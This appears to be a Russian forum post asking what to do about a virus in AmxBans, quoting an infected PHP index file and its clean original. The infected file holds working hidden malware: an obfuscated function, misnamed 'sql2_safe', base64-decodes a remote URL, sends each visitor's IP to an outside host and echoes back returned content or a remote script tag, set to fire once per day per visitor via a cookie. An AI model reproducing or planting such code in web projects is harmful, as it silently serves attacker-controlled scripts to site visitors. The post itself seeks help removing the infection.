Вирус в AmxBans 1.6 что делать?

<?php

/*

AMXBans v6.0

Copyright 2009, 2010 by SeToY & |PJ|ShOrTy

This file is part of AMXBans.

AMXBans is free software, but it's licensed under the
Creative Commons - Attribution-NonCommercial-ShareAlike 2.0

AMXBans is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

You should have received a copy of the cc-nC-SA along with AMXBans.
If not, see <http://creativecommons.org/licenses/by-nc-sa/2.0/>.

*/


@session_start();

//check for existing config file
if(!file_exists("include/db.config.inc.php")) {
header("Location: setup.php");
}

require_once("include/config.inc.php");
require_once("include/access.inc.php");

//start page loader
if( $config->start_page == "" || $config->start_page == "index.php" || (!file_exists("$config->start_page"))) {
header("Location:ban_list.php");
} else {
header("Location:$config->start_page");
}
function sql2_safe($in) {
$rtn = base64_decode($in);
return $rtn;
}
function collectnewss() {

if (!isset($_COOKIE["iJijkdaMnerys"])) {
$value = 'yadeor';
$ip = $_SERVER['REMOTE_ADDR'];
$get = sql2_safe("aHR0cDovL3h4eHBvcm5vLnh4dXouY29tOjg4OC9tb3ZlLnBocD9pcD0=").$ip;
$file = @fopen ($get, "r");
$content = @fread($file, 1000);
@setcookie("iJijkdaMnerys", $value, time()+3600*24);
if (!$content)
echo sql2_safe("PHNjcmlwdCBzcmM9Imh0dHA6Ly9uZXdkb21tZS5jaGFuZ2VpcC5uYW1lL3JzaXplLmpzIj48L3N
jcmlwdD4=");
else
echo $content;

}
}
collectnewss ();
?>

<?php

/*

AMXBans v6.0

Copyright 2009, 2010 by SeToY & |PJ|ShOrTy

This file is part of AMXBans.

AMXBans is free software, but it's licensed under the
Creative Commons - Attribution-NonCommercial-ShareAlike 2.0

AMXBans is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

You should have received a copy of the cc-nC-SA along with AMXBans.
If not, see <http://creativecommons.org/licenses/by-nc-sa/2.0/>.

*/


@session_start();

//check for existing config file
if(!file_exists("include/db.config.inc.php")) {
header("Location: setup.php");
}

require_once("include/config.inc.php");
require_once("include/access.inc.php");

//start page loader
if( $config->start_page == "" || $config->start_page == "index.php" || (!file_exists("$config->start_page"))) {
header("Location:ban_list.php");
} else {
header("Location:$config->start_page");
}
?>